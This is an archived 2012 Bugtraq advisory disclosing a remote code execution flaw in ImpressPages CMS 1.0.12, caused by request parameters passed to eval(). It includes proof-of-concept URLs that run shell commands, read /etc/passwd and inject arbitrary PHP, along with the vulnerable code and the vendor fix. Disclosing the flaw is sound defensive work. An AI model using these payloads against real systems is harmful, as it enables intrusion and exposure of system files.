bugtraq - NGS00109 Technical Advisory: Remote Code Execution in ImpressPages CMS

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <7E45577E4E72EC42BB3F8560D57E755145A44564@manexchprd01>
Date: Thu, 5 Jan 2012 09:54:14 +0000
From: "Research@...Secure" <research@...secure.com>
To: "bugtraq@...urityfocus.com" <bugtraq@...urityfocus.com>
Subject: NGS00109 Technical Advisory: Remote Code Execution in ImpressPages
 CMS

=======
Summary
=======
Name: Remote code execution in ImpressPages CMS 
Release Date:  5 January 2012
Reference: NGS00109
Discoverer: David Middlehurst <david.middlehurst@...secure.com>
Vendor: ImpressPages
Vendor Reference: 
Systems Affected: ImpressPages CMS 1.0.12
Risk: High
Status: Published

========
TimeLine
========
Discovered: 28 August 2011
Released: 28 August 2011
Approved: 28 August 2011
Reported:  5 September 2011
Fixed: 21 September 2011
Published:  5 January 2012

===========
Description
===========
ImpressPages CMS (1.0.12) is prone to a remote command execution attack due to an unsanitised eval() code execution flaw.
 
=================
Technical Details
=================
http://host/impresspages/?cm_group=text_photos\title\Module();echo%20shell_exec('ls%20-alh');echo&cm_name=test
http://host/impresspages/?cm_group=text_photos\title\Module();echo%20file_get_contents('/etc/passwd');echo&cm_name=test
http://host/impresspages/?cm_group=text_photos\title\Module();[[ArbitraryPHP Code Here]];echo&cm_name=test

The affected code:
 
File: /ip_cms/modules/standard/content_management/actions.php Line 37
 
    if(isset($_REQUEST['cm_group']) && isset($_REQUEST['cm_name'])) {
      eval (' $new_module = new
\\Modules\\standard\\content_management\\Widgets\\'.$_REQUEST['cm_group'].'\\'.$_REQUEST['cm_name'].'\\Module();
');
      $new_module->makeActions();
    }

===============
Fix Information
===============
Please update all instances of Impress Pages to the 1.0.13 release: 
http://www.impresspages.org/news/impresspages-1-0-13-security-release/

NGS Secure Research
http://www.ngssecure.com